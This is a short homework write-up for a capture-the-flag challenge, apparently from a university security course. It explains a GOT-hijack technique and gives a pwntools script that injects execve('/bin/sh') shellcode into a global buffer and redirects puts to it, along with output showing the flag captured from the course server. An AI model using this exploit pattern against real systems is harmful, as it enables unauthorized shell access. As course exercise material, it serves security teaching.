

hw2

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Contents

1 Homework2	1
1.1 gothijack	1
1.1.1 Code	1

1 Homework2

1.1 gothijack

no nx & PIE, we can insert shellcode to global variable <name> and at the second input write <puts> got to <name>'s address, so when the last puts is called, shellcode is executed.

1.1.1 Code

```
1  from pwn import *
2  context.arch = "amd64"
3  puts_got = 0x601020
4  buf = 0x6010a0
5  payload = b"\x00" * 8
6  shell = asm("""
7  call main
8  .ascii "/bin/sh"
9  .byte 0
10
11  main:
12      mov rax, 59
13      mov rdi, [rsp]
14      mov rdx, 0
15      mov rsi, 0
16      syscall
17  """)
18  r = remote("csie.ctf.tw", 10129)
19  r.recvuntil(":")
20  r.send(payload + shell)
21  r.recvuntil(":")
22  r.sendline(hex(puts_got))
23  r.recvuntil(":")
24  r.sendline(p64(buf+8))
25  r.sendline("cat /home/'whoami'/flag")
26  f = r.recvline()
27  print(f)
```

```
[x] Opening connection to csie.ctf.tw on port 10129
[x] Opening connection to csie.ctf.tw on port 10129: Trying 140.112.31.96
[+] Opening connection to csie.ctf.tw on port 10129: Done
b'FLAG{G0THiJJack1NG}\n'
[*] Closed connection to csie.ctf.tw port 10129
```